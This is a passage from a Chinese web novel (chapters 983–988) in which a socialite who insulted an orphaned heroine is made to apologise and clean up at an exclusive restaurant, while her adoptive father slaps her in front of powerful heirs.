他的眉眼是上挑的弧度,浓墨般的剑眉斜飞入鬓,眉梢微微上扬,带着天生三分桀骜。那双桃花眼堪称致命,眼尾细长上翘,睫毛浓密卷,瞳色是琥珀般的浅褐,流转间仿佛裹着层潋滟水光。看人时,瞳仁会不自觉地微微眯起,眼波横斜,似醉非醉,仿佛藏着千言万语的绵绵情意,却又在深处透出丝缕凉薄。 他的鼻梁高挺线条凌厉却不显刻薄,凉薄的唇角总似有若无地翘着,像是随时要吐出调情的低语。 此刻他正单手把玩两颗核桃,指节分明的手指随意转动着核桃,另一只手插在裤袋里,姿态慵懒至极,却让人莫名觉得那漫不经心的笑意下,暗藏锋芒,和难以忽略的冷淡凉意。 最让人心悸的是他气质的矛盾感。 明明生得一副深情款款的皮相,可那笑意却从未抵达眼底。 这是是一张看过后就几乎不会忘记的顶级渣男脸。 是了。 怪不得她会觉得盛景炎眼熟呢。 盛景炎是上流圈子里面最多情的一位少爷,最短时间隔几天就是换一任女朋友,时间长了也不过一两个月就会换人,身边的女人个顶个都是胸大腰细长腿的美人,还曾经有人就喜欢盯着这位少爷拍,想看看少爷的新任女友什么模样,据说还被人调侃那些美女是少爷严选。 第983章 太亲昵,太不合规矩了! 娱乐杂志的边角总少不了他的身影,绯闻对象从三线女星到名媛千金,五花八门。也难怪她在电视报道里见过无数次那张轮廓深邃的脸,此刻真人站在眼前,眉梢挑起时带着玩世不恭的弧度,仿佛连空气都染上了轻佻的气息。 盛景炎,这人竟然是盛景炎。 那他身边的几个男人就太好猜了。 圈子里都知道盛景炎最要好的除了江家的大概就只有几人,最跳脱的一定是韩城,温文尔雅的是韩越,那个最冷的……让人仅一眼就感觉到威胁冷意的……是黎氏已经确定的继承人,黎云笙。 黎云笙。 田诗琪呼吸一窒。 黎云笙这个名字在她梦里都未曾敢亵渎。 传闻中他手段狠辣,商界新贵见了都要低头,冷峻的面容像是淬过冰,旁人连多瞥一眼都觉如芒在背。 可此刻,这位掌握着无数人命运的男人竟真的出现在温栩栩面前,甚至俯身亲自擦拭她指尖沾上的红酒渍。 那动作轻柔得不像他的风格,仿佛怕惊碎了什么易碎的珍品。 凭什么? 田诗琪指甲深深掐进掌心。 她费尽心机挤进这个圈子,在慈善晚宴上对着上流圈层的人露出最完美的笑容却只换来冷淡的颔首。 温栩栩不过是个无父无母的贱人,凭什么能让他纡尊降贵到这种地步? 此刻胸腔里翻涌的嫉妒几乎要将田诗琪吞没,她死死盯着那两人相触的手,仿佛要灼出个洞来。 黎云笙并不在意田诗琪此刻的眼神,他只是淡淡的扫了眼地上的脏污狼藉,然后抬眸目光冰冷的落到田诗琪的脸上。 “你说她是虫子?那你又是什么?” 黎云笙只说了这句话,田诗琪只觉得胸腔里面的空气都好像在此刻被完全抽离,几乎到了无法呼吸的地步。 韩城嗤笑出声,眉峰挑起的不屑几乎要刺破这尴尬的死寂。他本是最爱热闹的性子,此刻却像欣赏一场拙劣的闹剧般斜倚在沙发旁,打火机在指尖咔嗒作响:“你说谁是虫子?”尾音上扬,满是讥诮。 周围原本捧着酒杯看戏的宾客悄然退开,生怕被这场风波殃及。 田诗琪就算是蠢货也该明白这几位少爷是来为温栩栩出头的。 温栩栩……凭什么? 难道就凭那张漂亮的脸蛋儿吗? 田诗琪的一众小姐妹们都不敢说话了,能跟田诗琪玩到一起去的,跟她出身差不太多甚至都是捧着她的,性子也跟她一样,都是群捧高踩低的,若非如此方才也不会跟着田诗琪凑在一旁讥嘲温栩栩的出身。 田诗琪那般,却是早就忘了她曾经也是从孤儿院被田家父母带走的。 好像贬低温栩栩就能完全掩盖住曾经在孤儿院的经历一般,可笑,可悲。 田诗琪咬着唇,理智告诉她,韩城他们不会为难女人,但此刻是真的会觉得在温栩栩面前丢脸。 她前脚才说过温栩栩被老男人包养,结果温栩栩背后的人全都是圈子里的少爷们,别说老了,一个丑的都没有! 田诗琪咬住下唇,血腥味在舌尖弥漫。她当然明白这几人绝非会为难女人,但那轻蔑的眼神比耳光更伤人。 她终于意识到,那些关于“老男人包养”的揣测不过是自欺欺人的遮羞布,温栩栩身后站的,分明是年轻俊朗、权势滔天的少爷们,没有一个是她臆想中的油腻中年。 耻辱的火烧红了眼眶,她却在黎云笙森冷的注视下连眼泪都不敢落下。 温栩栩能感受到田诗琪身体有多僵硬,现场的气氛愈发古怪。 温栩栩抓住黎云笙的手腕,握住。 他顿了下,能感受到她掌心的温热柔软,怎么连手也这么软。 只是,这动作让在场的人都惊了,现在都已经知道他是黎云笙了,她们听过的传言,都说黎云笙冷漠无情生人勿进,可这次的黎云笙让她意识都有些恍惚。 因为温栩栩竟然碰了黎云笙! 这动作对黎云笙来说实在是太亲昵,太不合规矩了! 下一秒会被男人推开吧!一定会被推开的! 田诗琪心理阴暗的猜着想着,结果并不是她预想的那样,黎云笙不仅没有推开温栩栩,甚至!反握住了温栩栩的手! 到底是黎云笙疯了还是这世界疯了! 如果韩城知道田诗琪心里想的这些只会冷笑一声觉得她没见过世面,她们根本不知道他兄弟在黎云笙心里的分量! 温栩栩仰起头望着黎云笙,黑眸里沉淀着某种让人心悸的清醒。黎云笙沉默着,眉峰微蹙,冷意褪去的眉眼竟显出几分少年气的困惑,似是用眼神询问她想做什么。 “让她走吧,她忘了来时路,我却没忘。” 她说的是田诗琪。 田诗琪顿住。 黎云笙还没开口呢,韩城就开始嚷嚷了:“凭什么这就让她走了,都还没跟你道歉呢!” 温栩栩摇了下头:“就算道歉也不会是真心的。” 田诗琪像是被说中了一般有些错愕的低头,甚至不敢对上温栩栩此刻的眼睛。 水晶吊灯在穹顶投下碎钻般的光,黎云笙终于松开温栩栩的手,只是目光冷淡的扫向服务员,对方立刻笑呵呵的为田诗琪几人带路让她们尽快离开。 这已经是黎云笙在退让了。 温栩栩只是那样一句话他便听进去了,没有斥责,没有惩罚,却比雷霆之怒更让她无地自容。 她逃也似的挤出人群,高跟鞋在地板上敲出狼狈的声响,韩城望着她仓皇的背影,嗤笑出声:“就这点胆子,也敢在我兄弟面前蹦跶?” 温栩栩垂眸看着自己空荡荡的手心,那里还残留着黎云笙的温度。 她有些克制不住的摩擦了下指尖。 …… 田诗琪逃出华庭,她顾不上仪态,径直冲向停车场,直到钻进自己那辆银白色跑车,才惊觉掌心已被指甲掐出月牙形的淤痕。 小姐妹们追赶着她但实则心思各异。 “诗琪,那个温栩栩真的不好得罪的呢,她长了那么张漂亮脸蛋,若是有幸嫁进那圈子,以后少不了要打交道的。” 第984章 让她‘滚\’回来收拾干净 “温栩栩这种人以后就算不能嫁进门只当个情人,若是吹吹枕边风也够我们受的了。” 卷头发的小姐妹有点心眼儿,提醒了一句。 都说要门当户对,可真的大家族的那些个,多少叛逆的呢?如果真有人看中了温栩栩,田诗琪还要执意针对温栩栩,那以后田诗琪绝对没有好下场。 "诗琪,她那张脸长得跟狐媚子似的,万一被哪个豪门公子看上了,咱们以后可没日子好过。听说黎家那位继承人连碰都不让旁人碰,今天却给她擦手……" “我看那温栩栩脾气好像还行,诗琪你还是跟温栩栩继续交好吧,我看她好像很好哄的样子。”又有小姐妹劝了句。 田诗琪猛地攥紧方向盘,真皮座椅上的纹路深深嵌进掌心。而她像个小丑般被晾在众人视线里,连韩城嗤笑的眼神都像利刃刮过皮肤。 田诗琪听不下去。 温栩栩对她来说就是仇人,是她最恨的人,她怎么可能轻易的跟温栩栩和解? 没这个可能! 而且!温栩栩脾气哪里好了?温栩栩说的那些话一字一句的都像是尖刺一样刺戳她的的心口,是控制不住的疼痛,揭开她虚伪的假面。 她是绝不会向温栩栩低头的! “诗琪,咱们圈子里谁没点秘密?可要是真把黎云笙惹恼了……”短发女孩怯生生提醒,却被田诗琪粗暴地打断:“够了!她温栩栩算什么东西?凭什么踩到我头上?” 发动引擎的轰鸣声盖过所有劝慰,银色跑车如离弦之箭窜出停车场,完全不顾本来还打算劝慰她的姐妹。 留在原地的闺蜜们面面相觑。 卷发女孩摸着下巴若有所思:“你们注意到没?她提温栩栩的时候,总说\"踩到她头上\",可明明刚才是田诗琪先找上温栩栩的……” 短发女孩忽然捂住嘴,压低声音:“我听说田家最近在竞标黎氏的度假村项目,也不知道今晚的事情对田家有没有影响呢。” 是啊,这圈子里的如果只是面上吵架动手都不是什么大事,怕的就是交恶后背地里使绊子。 黎云笙这次面上没说什么,直接让田诗琪离开,虽然没问田诗琪时哪家的,可华庭都是有监控的,他身边那些人也不是吃素的,田诗琪本就不是田家亲生的,真要因为温栩栩得罪了黎云笙,田家对她怕是要换态度了。 “你们为她着什么急?你们劝的她听了吗?她自己喜欢钻牛角尖你们还管她干什么?” “说那么多,她理我们了?” 金发女人倚着栏杆,指尖的香烟在夜色中明灭如星。她嗤笑出声时,烟圈裹着冷讽喷向缩在角落的闺蜜们:“你们装什么姐妹情深?田诗琪那德行,真当咱们看不出?她仗着田家收养了,就敢把咱们这些\"暴发户亲闺女\"当丫鬟使,可咱们谁不知道她户口本上写着\"收养关系\"?” 短发女孩下意识攥紧了手包,卷发闺蜜却眯眼打量她:“你这话说得刻薄了,诗琪再怎么样,这些年也没少帮咱们……” 话音未落,金发女人高跟鞋碾灭烟蒂,红唇勾出讥笑:“帮?她那叫施舍!上次慈善拍卖,她故意抬高价让我爸多捐了三百万,转头就在朋友圈晒\"家族荣耀\",把我爸当垫脚石呢!” 她忽地转身逼近众人,“你们真当她不知道自己的底细?孤儿院出来的孩子,最会看人脸色,也最怕被人看穿,所以她得把所有人都踩在脚下,才能假装自己真干净!” 金发女人早就看不上田诗琪了。 孤儿院出来的,被田家领养了就真以为自己是个人物了? 金发女人冷笑更甚:“她田诗琪不是看不起温栩栩的孤女身份?可她忘了,咱们圈子里谁没点腌臜事?她不过是比温栩栩早进了几年‘上流社会\"的假笼子,真撕破脸,田家都不一定帮她,毕竟温栩栩身后的可是黎少那些真正的豪门少爷。” “信不信,我爸如果知道我跟黎云笙交好,都能直接跟我磕一个!” 金发女人说完,直接走了,反正话都说到这里了,再听不明白那就是她们蠢了。 短发女孩见她走远了终于憋出一句:“诗琪刚才说温栩栩是狐媚子,可黎总亲自擦手的时候,田诗琪的脸比调色盘还精彩……她是真的很在意温栩栩啊。” 卷发闺蜜倏然打断她:“够了,明天开始,谁都别主动联系田诗琪,她要是真惹恼了黎家,咱们可不想被田家的烂账拖下水。” 说是姐妹,也不过是塑料姐妹,平日吃吃喝喝炫炫富逛逛街可以,但真要遇到这种事,没人会凑上去帮她。 …… 田诗琪跟自己小团体闹矛盾的事温栩栩一概不知,倒是韩城烦躁的坐到沙发上,这会儿才看到地上那散落的汤汤水水。 他“哈”了一声:“谁干的?不是?几个意思我给你叫的餐就这么给我扬了?我太久没发飙了是吧?” “不行,我必须把人叫回来,她不道歉可以,给我把东西整理好擦干净赔我餐费!” 韩城实在是窝火。 什么东西啊! 互相看不上怼几句也就算了,闲的没事你砸东西干什么?韩城虽然是个败家玩意儿但好歹不浪费粮食,就算叫餐也知道自己用餐量都是备注小粉儿,田诗琪倒好,直接给砸地上了,他看到实在是烦躁。 韩城这么说,温栩栩没拦着。 坦白来讲,温栩栩觉得韩城这事儿没做错。 韩城看向候在一旁的经理:“那是哪家的小姐,打电话让她‘滚’回来收拾干净,你们工作人员不许收拾,如果有人看到问,就告诉他们是哪家千金砸场子,不用给她脸。” 真要这么干,田诗琪的脸都要丢尽了。 韩城才不管,他觉得田诗琪活该! 经理面带微笑:“城少您放心,我们会处理好的。” 经理说着吩咐其它员工继续工作,自己倒是去角落拨了个号码。 能在华庭担任经理职位的,也不会是省油的灯。 第985章 她哪儿来那么大能耐? 华庭的经理几乎有上流圈子所有人的联系方式,其主要原因是这些人有时需要订餐,或者经理这边需要安排一些其他的私密事,都需要直接跟经理对接,最简单来讲,韩城这人加了经理微信,时不时的想吃华庭的餐,所以直接发给经理,或者让经理提前点餐自己到了直接开吃,很多人都是这样,通过秘书和助理反倒麻烦。 经理先给田诗琪去了电话,说明情况。 田小姐您好,我是华庭的经理。关于您今日的行为,城少已经向华庭表达了不满。为平息此事,我们希望您能马上到华庭协助处理一些清洁工作,具体安排会由专人指导。” 田诗琪听完气的浑身发抖。 “你什么意思?就因为我砸了温栩栩的饭盒你让我回华庭给你们打扫!到底是我疯了还是你疯了!你知不知道我是谁!你再说一句试试!”田诗琪只觉得自己被侮辱了。 经理声音平静:“田小姐,您的行为影响了华庭的声誉,田家需要配合解决。” 田诗琪音量提高,情绪激动:“我不管!你们知不知道我是谁!让我去打扫就是侮辱!我绝对不会去!再说一句试试!” 让她去华庭打扫,可不就是侮辱吗! 她以前的确是在孤儿院待过很久,可她已经被领养了,现在是田家的小姐,未婚夫更是赵家的二少爷,这些人凭什么命令自己去打扫! 她就不去! 田诗琪气愤的直接挂断电话。 经理被骂了一通却完全不生气,田诗琪不肯来,他还能联系田诗琪的养父。 经理有田诗琪养父的联系方式,见田诗琪挂断电话就马上给田诗琪养父田建业打过去。 田建业的手机铃声在书房响起时,看到这个号码显然愣了下。 这个号码他再熟悉不过,是华庭经理,接通的瞬间,他的心莫名悬了起来。 “田先生,请问田小姐到家了吗?”经理的声音沉稳如常,仿佛刚才的冲突从未发生,“如果田小姐已经到家,还请田先生让她来一趟华庭。今晚的事,我们还需要给城少和黎少一个交代。” 整个帝城能被称为城少喝黎少的也就那么几个,田建业一时还当自己听错了。 自己的养女怎么还跟这两位扯上关系了? 她哪儿来那么大能耐? 不过……交代? 什么交代?难道是自己的养女得罪了那两位! 田建业心里发沉,猜不透是什么原因,只是缓了片刻开口询问:“请问诗琪是怎么认识那两位的……” 他总要问清楚原因啊。 如果是女儿跟这两位有交情,那她跟赵天宇的婚约可就要缓一缓了。 但若是得罪了这两位!那一定要押着田诗琪去道歉认罪! 经理微笑:“田小姐在华庭侮辱并弄撒了温小姐的餐点,温小姐是黎少和城少的朋友,温小姐并不打算追究,但城少的意思是需要田小姐亲自来打扫干净,田小姐没来前,若是有其他人看到华庭这桌的狼藉,城少要求我们据实以告。” “田先生应该明白我的意思了。” "轰——"田建业只觉得耳边炸响惊雷。 他猛地从沙发上站起身,椅背被撞得"哐当"倒地。 岂止是明白了,田建业整个人都快要气炸了! 经理这段话表达的意思可太明显了! 田诗琪得罪了黎云笙和韩城的人!她疯了吗!那两人最是护短!若让他们认为田家敷衍了事…… 经理的声音平静如水的提醒:“田小姐现在不来,待会儿来的可能就是两位少爷亲自派的人。到那时,事情的性质可就不同了。” "我立刻让诗琪过去!"田建业的声音近乎颤抖,他此刻终于明白,那个被自己宠上天的养女捅破了怎样的天。挂断电话后,田建业想马上让田诗琪去华庭,可人都还没回来呢! 田建业只能在家里着急的等着。 田诗琪开车到家,就见到养父铁青着一张脸坐在沙发上,看着像是在等她一样。 田诗琪心里咯噔了一下,不知道自己是不是哪里做错了事惹得养父不快。 可没等她开口询问,就见田建业将手机砸在茶几上,屏幕碎裂的声响像一道催命符。 "你知不知道你今晚得罪了谁?!黎云笙和韩城!他们点名要你去华庭打扫!现在立刻给我滚过去!" 田诗琪一愣,想到经理打的那通电话,经理那是在她拒绝后打给了自己的养父? 就因为她砸了温栩栩打包好的饭菜! 这么点小事至于这么大动干戈吗! “我不去!”她倔强地昂起头,“他们凭什么让我去打扫?我现在是田家小姐,赵家未婚妻!怎么能去华庭打扫!” “赵家未婚妻?”田建业被气笑,“你当赵天宇是傻子吗?若让他知道你惹了黎韩两家,婚约即刻作废!你现在有两个选择,要么去华庭跪着擦干净每一粒米,要么我连夜把你送回孤儿院!” “爸!”田诗琪的眼泪夺眶而出。 她从未想过自己一直引以为傲的“上流身份”在真正的权势面前如此脆弱。 田建业已经转身离开,丢下一句冰冷的话语:“华庭的车会亲自来接你,你最好祈祷黎云笙和韩城没有追究的心思。否则,田家救不了你。” 她走的时候那么嚣张,这次却要被华庭的车亲自接走去做那些下人做的事! 田诗琪愤恨的咬牙。 等华庭的车到了,田建业亲自押着田诗琪上车,他也亲自跟过去了,这是生怕田诗琪再惹了人不高兴呢! 田建业路上就训斥田诗琪:“到了华庭不要再摆着这么一张脸,是你做错了事必须给我好好道歉!” 田建业坐在前排,背影冷硬如铁。他沉默着翻看手机,屏幕蓝光不时映出他紧蹙的眉头。 田诗琪偷眼望去,突然发现养父鬓角新添了几缕白发,那是从前被她刻意忽略的细节。 这个将自己从孤儿院带出来的男人对自己本就没多少感情,从来只将她是将她当作维系家族利益的棋子。 第986章 谁先犯贱心里没点数? 田诗琪心里清楚,如果自己真的得罪了韩城黎云笙,养父只会丢弃自己,他真的能狠下心来不管自己。 田诗琪只能隐忍的应声,根本不敢反抗。 一直到华庭,田诗琪都没再开口。 她在外如何嚣张,可在田建业面前也就是个小玩意儿。 他一句话,就能让她彻底失去现在所得到的一切。 田诗琪跟随田建业进了华庭。 田诗琪的鞋跟敲击大理石地面的声响在寂静大厅中格外清晰。 她感觉自己每一步都像踩在荆棘丛中,脚尖传来的刺痛不断向上蔓延,那是一种让她完全难堪的疼痛,华庭的穹顶水晶灯将冷光倾泻而下,照得她浑身发颤,这光芒太刺眼,像无数把锋利的手术刀,要将她剥开示众。 才进到大厅,就看到坐在沙发上的几人,她瞳眸收缩,然后死死的盯着看似随意的温栩栩,她忍不住咬牙,恨不能现在就冲上去咬断温栩栩的脖子。 田建业没看到她这样凶狠的眼神,赶紧厉声道:“你还愣着干什么!赶紧过去道歉!” 田诗琪被他吼得身体忍不住颤抖了一下,半晌后有些瑟缩的上前一步。 田建业笑呵呵的上前,腆着脸喊道:“黎少,盛少,越少,城少……”他的尾音拖得老长,仿佛一条舔着主人靴子的哈巴狗。 他是真没想到不只有黎云笙和韩城还有韩越和盛景炎啊。 他这养女是真能耐,这已招惹就招惹四个最了不得的! 他也就是年纪比他们大,可真要论起地位来,随便一个都压他多少了。 田建业这样谄媚的模样,让田诗琪忍不住攥紧裙摆,布料褶皱处发出细微的“窸窣”声,像是她正在被碾碎的尊严在挣扎。 她不敢抬头,却分明感受到四道视线如冰锥般刺来,韩城的冷嘲、韩越的玩味、盛景炎的漫不经心,还有那最让她胆寒的黎云笙……他的目光淡如秋水,却沉得能溺死人。 “道歉!”田建业突然扯住她的胳膊,力道大得几乎要将她骨头捏碎。 田诗琪踉跄半步,膝盖撞上沙发边缘,钝痛激出眼眶的热意。 她死死咬住嘴唇,血腥味在舌尖蔓延,却不敢发出一丝呜咽。大厅里飘着若有若无的檀香,混合着田建业身上古龙水味,熏得她头晕目眩。 她握紧拳,可一偏头就对上温栩栩平静的眼神。 温栩栩……也在这里! 她和养父出丑全都被温栩栩看到了! 她就是不想在温栩栩面前出丑,没想到养父亲自带她回了华庭,甚至当着温栩栩的面对黎云笙他们这般……这般低声下气。 就像是把自己的脸丢到地上狠狠踩着! 温栩栩就坐在韩城身侧,整个人像一株静默的玉簪花。她垂眸看着手机,柔顺的长发随意披散,连发梢都透着不染尘埃的清冷。 田诗琪盯着她,喉头哽着毒汁般的恨意。凭什么这个和自己一样从孤儿院出来的女人,能坐在这里云淡风轻?而自己却要像条狗一样被养父拖来求饶!温栩栩的平静在她眼中成了最大的挑衅。 “温小姐,对不起……”田诗琪终于挤出这几个字,声音抖得像风中残烛。 她强迫自己抬头,却在对上温栩栩抬起的眼眸时,像被兜头浇了冰水。那双眼睛太静了,静得能照见所有虚伪与狼狈。 韩城的手指在沙发扶手上轻轻叩击,节奏缓慢如死刑宣判。田诗琪的呼吸越来越急促,耳膜嗡嗡作响,仿佛下一秒就会炸开。 她现在是真的害怕他们再开口了! “田小姐的诚意,似乎不太够啊。”盛景炎忽然轻笑,尾音拖得慵懒,像是在看戏,不过他本来也是在看戏。 田诗琪只能低头鞠躬继续道歉,可抬起头,看到温栩栩终于放下手机,目光掠过自己的脸,内心的恨意再度开始涌动。 田诗琪恶狠狠的瞪着温栩栩,温栩栩只是轻微的抬眸,还是那副冷淡的模样,可在田诗琪看来,温栩栩这样就是在故意看自己笑话! “你在用你那种充满恨意的眼神看谁。”黎云笙敏锐的察觉到她充满恶意的眼神。 田诗琪还没有收回自己的视线,韩城也看到了,嗤笑连连。 “你匆匆忙忙带着你这好女儿来道歉,倒是看看你这好女儿是来道歉的样子?” “你这女儿都是怎么说的?” “同样都是孤儿院出身,怎么?不过是被你带回家养大就真觉得自己高人一等了?愚蠢又可笑。”韩城冷眼看田诗琪,眼底都是不屑。 田建业此刻都显得有些无措,一扭头对上田诗琪看过来的眼神,瞬间克制不住的一耳光甩过去。 清脆的巴掌声响起,现场众人全都愣了一瞬,谁也没料到田建业真的完全不给田诗琪面子。 田诗琪的耳边嗡嗡作响,那清脆的巴掌声仿佛还在回荡。她捂着脸颊,指尖触到火辣辣的刺痛,她低下头遮掩自己的目光,但眼神却更加可怖。 “田诗琪!我带你来是让你给温小姐道歉!不是让你用这种仇恨的眼神看温小姐!你自己做错了事就给我安分些道歉!不要多生事端!” 韩城的嗤笑最先响起,“田总这教育方式倒是别致,当众掌掴,不知道的还以为在训狗呢。”他的尾音上扬,盛景炎立刻配合地轻笑出声。 其实韩城本来不会这样恶劣,更不会把谁比做狗来侮辱。 但在他们来华庭的途中,韩城调出了那段监控,看到了田诗琪面对温栩栩是如何嚣张嘲讽的。 韩城市最护短的,当时就气炸了,更不要说现在田诗琪还用那种仇恨的眼神看温栩栩了。 有病不是? 谁搭理你了?今晚上不是你自己凑上来找骂的?最后还把人打包好的饭菜砸到地上,让你来清理下都没说要对你做什么呢就用那种眼神看人?谁先犯贱心里没点数? 韩城是装不下去了,此刻像是什么难听话都能说出来了。 田诗琪不知道韩城为什么如此,此刻她的指甲深深掐进掌心,鲜血几乎要渗出来,她只知道自己恨。 第987章 这就是你一直追求的吗 她恨这些权贵将她的尊严踩在脚下,恨温栩栩的沉默比嘲讽更锋利,更恨田建业这个虚伪的男人,为了讨好别人连自己养大的养女都能打! “混账东西!”田建业额角的青筋暴起,田建业怒骂训斥,“道歉!立刻向温小姐道歉!”田建业的吼声震得水晶吊灯微微晃动,碎钻折射的光斑在田诗琪眼中扭曲成狰狞的鬼脸。 她被迫抬头,却在对上温栩栩的目光时,喉咙里涌出一声近乎呜咽的嘶鸣。 “温小姐,对不起……”田诗琪的声音沙哑而破碎。 即便是道歉,可内心还是不敢,全都是为什么?凭什么? 凭什么温栩栩能坐在这里接受道歉?她们明明都是孤儿院出来的孩子,明明她才是被田家人领养的孩子,明明温栩栩才该被踩进泥潭里面!可为什么她却成了一泥潭里的蛆虫! “田小姐的道歉,栩栩可受不起啊。”韩城忽然倾身,打火机“咔嗒”一声点燃雪茄。青烟缭绕中,韩城的笑意愈发森冷,“毕竟您刚才那眼神,可是想把人心肝都剜出来呢。” 田诗琪的瞳孔剧烈收缩,唇瓣都好像在哆嗦。 田建业的手再次揪住她的衣领,田诗琪的呼吸被勒住,却在这窒息中迸发出更强烈的恨意。 她突然仰头,通红的眼睛里燃着疯狂的火:“你们有什么资格审判我?温栩栩不也是孤儿院的贱种吗?凭什么她能高高在上,我就得像条狗一样被你们羞辱?” 大厅的空气骤然凝固。 温栩栩的茶杯“叮”地轻响,一滴水溅在桌布上,晕染成暗色的花。 韩城的雪茄停在唇边,青烟袅袅上升,模糊了他眼底的寒意。 盛景炎终于不再轻笑,他支着下颌,像是在观赏一场有趣的戏码。 田诗琪的喉咙发紧,她知道自己说了不该说的话,可那又怎样?她已经被逼到悬崖边,再差又能差到哪里去? 田建业的耳光再次落下,力道比刚才更狠。 田诗琪被扇得偏过头,耳畔响起温栩栩终于有了波动的声音:“田先生,够了。”她的音色很轻,但足以让暴戾的田建业瞬间僵住。 田诗琪唇角溢出血丝,却在这瞬间捕捉到温栩栩眼底的怜悯,那怜悯刺得她浑身发颤。她不要怜悯!她只要温栩栩和她一样,被踩在泥里,被所有人唾弃! “温小姐,您看……”田建业慌忙转向温栩栩,谄媚的笑比哭还难看。 温栩栩放下茶杯,她站起身。 “这就是你一直追求的吗,我以为你被田家带走过的会很幸福,现在看来也不过如此。”温栩栩的声音平静如水,却让田诗琪的恨意再度沸腾。 她凭什么站在道德高地上指责?她们分明是一样的!一样的肮脏,一样的卑贱!可温栩栩却用这种高高在上的姿态,仿佛在施舍怜悯。田诗琪突然想冲过去撕烂她的脸,想把她拽进自己所在的深渊,一起腐烂,一起堕落! “我当然幸福!我怎么可能不幸福!我以后也会嫁进赵家!”田诗琪盯着温栩栩开口。 温栩栩淡淡的嗯了一声:“所以你的未婚夫见到他们会像你的父亲这样随时随地能够逼迫你道歉当中掌掴你侮辱你吗。” 田诗琪脸上最后的一点笑意都僵住了。 她的未婚夫地位当然不如韩城他们,如果真的发生什么事,恐怕也只会逼着自己低头道歉。 她看得清楚。 可自己要追求的就是要嫁入豪门,嫁入豪门就是要受点委屈的,她都明白。 “够了,真无聊啊。”韩城啧了一声。 韩城看向经理:“让她们父女把那里收拾干净,一切收拾妥当后再让他们离开。” 显然他根本没心思继续对着这对父女的脸了,他甚至有点烦躁。 韩城的雪茄在烟灰缸里摁灭,火星溅起时,他的声音淡淡:“田总,今晚我只说道歉,可从没让你动手,一个大男人还对女人动手,太丢脸也太难看了。” 田建业连声道歉,田诗琪也没料到韩城会说出这样一句话,她抬头看去,却见韩城还是那副不咸不淡的模样说道:“走了,今晚看的什么烂戏,最烦这种对女人动手的戏了,没品又卑劣,真丢男人的脸。” 话落,韩城看向温栩栩:“栩栩,跟我们上去吧。” 温栩栩点了下头,跟几人一起离开。 田诗琪愣怔的看着几人离开的背影,倏地温栩栩转过身,似乎是看向她,只是眼神让人那样平静冷淡。 她恍惚间又听到温栩栩问自己“这就是你追求的吗”。 在外嚣张,在田家却可以任由田建业打骂,这就是你追求的吗。 她觉得自己此刻读懂了温栩栩未尽的话。 这……不是她追求的,但这是她能为自己谋求到的最好的一条路。 田诗琪不是蠢货,就因为不是蠢货才更清楚,男人都是那副德性,跟穷人结婚也可能被家暴,但跟有钱男人结婚,就算真的被打被骂,可起码得到了钱,不是吗? 她追求的是什么? 她追求的就是钱…… 田建业看她愣神,不由皱眉:“你还在看什么,赶紧收拾!收拾完回家!不然这事儿真闹大了,圈子里不知道多少人要议论你嘲讽你!你还想不想嫁给赵天宇了!” 田诗琪只能僵硬的扯了扯唇:“好的父亲,我马上收拾。” 她自己选的路,她很满意。 她只是恨自己不像温栩栩那样幸运! 田诗琪收拾妥当后回家的路上田建业问道:“我怎么总觉得那温栩栩有些眼熟,以前我见过她?” 田诗琪瞬间警惕:“应该见过吧,以前跟我是一个孤儿院的。” 听田诗琪提到温栩栩是孤儿院的孩子,田建业想到她那张漂亮的像一朵牡丹花那般明艳的面容似是有些可惜:“怎么当初就没带她回家?瞧瞧这手段,轻而易举就把韩城和黎云笙勾搭到手了。” 说着田建业看她一眼:“你也是不争气,也就只能配赵天宇那种人了。” 第988章 找他投资?怎么不找我投资 他没记起温栩栩曾经是自己最想领养的孩子,最终因为温栩栩掉到池子里满身污泥又在那段时间做错了太多事,他觉得这孩子做事不够稳妥所以退而其次选择了田诗琪。 那是很久之前发生的事了,他也早就记不清温栩栩的样貌了,所以根本不知道温栩栩就是自己险些领养成功的孩子。 他此刻只觉得田诗琪不争气。 同样是孤儿院出来的,怎么温栩栩就这么大能耐? 田诗琪折腾来折腾去,最后也不过是选了赵天宇,还不是赵家继承人。 算了,赵天宇对田家来说也算不错的联姻对象了,起码领养她也不算太亏,能跟赵家攀上关系也算可以。 田建业心里虽然懊恼田诗琪为什么不能像温栩栩能勾搭到韩城这种身份的人,但也知道自己不能太过贪婪。 这养女不给自己添麻烦就已经很好了。 田建业看田诗琪的眼神多有挑剔,不过也没再说什么。 田诗琪当然知道他看自己的眼神其实是在打量,在评估。 田诗琪只能勉强的扯了扯唇,不让自己露出太难看的脸色。 …… 进了包厢韩城心情还是不大好,大概是觉得自己兄弟自己被护住被人欺负了所以心里烦躁。 但他其实也不是那种喜欢欺负女人的二代,这要换是个男人,他真能动手,偏偏是个女人韩城这人就觉得打女人的都是垃圾,他不想成为垃圾,所以现在还是憋屈。 毕竟今晚上田诗琪挑衅嘲讽,让她道歉也是心不甘情不愿的,看温栩栩的眼神带了多少恨意呢。 包厢里的灯光调得很暗,暖黄的壁灯在绒布墙面上投出朦胧的光晕。 韩城倚在沙发靠背上,指节无意识地叩着扶手还不忘记吐槽。 “她是真的有病,我也没说让她干别的吧?”韩城越说越气,额角青筋微凸,“自己弄脏的自己收拾干净没毛病吧?做错事道歉也没问题吧?” “这么大怨气,经理都说了先给她打的电话,她给人骂了一通挂电话,经理那不是没办法才给她那养父打的?她养父动的手又不是我们动的手,那眼神跟看仇人一样,真这么狠最开始就别凑上来说那些乱七八糟的啊,这不是找骂吗?” 韩城心里明显是不服气,怎么想都觉得田诗琪有病。 说完还不忘看温栩栩:“你以后可离这种人远点。” 其实都不用韩城说,温栩栩本就没打算怎么接近田诗琪。 韩城想了下盯着温栩栩看了几眼,“我记得你说有事要找我的,现在总能说了吧。” “就是……我收到了一个剧本,想拍戏,缺投资人。”温栩栩说的还挺直接,完全没打算遮掩。 韩城来兴致了。 “什么剧本啊,好玩吗?剧情爽不爽?”韩城能问这个,可见韩城也是个被各种网剧荼毒的少年啊。 温栩栩想了下自己看到的前几集剧情,还挺爽的,有点大女主那味儿了。 “应该还挺爽的,你想看吗?”温栩栩把剧本大纲给了他,她刚好带着文本。 韩城赶紧翻开看了,看到剧本的女角色所处的背景是在另一个平行世界,因为涉及悬疑和一些惊悚剧情,为了过审才提到是未来时空,开篇的女主角从尸山爬出来,她不是人也不是鬼,她是能够沟通阴阳的灵媒师。但在那个世界灵媒这一行业早已凋零,现有的都是些骗子,女主角则是可以沟通天地沟通过去勘破未来的灵媒师。 看到这里韩城更精神了。 “有点酷啊,我想看,就拍这个,我投了!” 温栩栩轻笑:“不怕没办法过审?” 韩城听到这里就想笑。 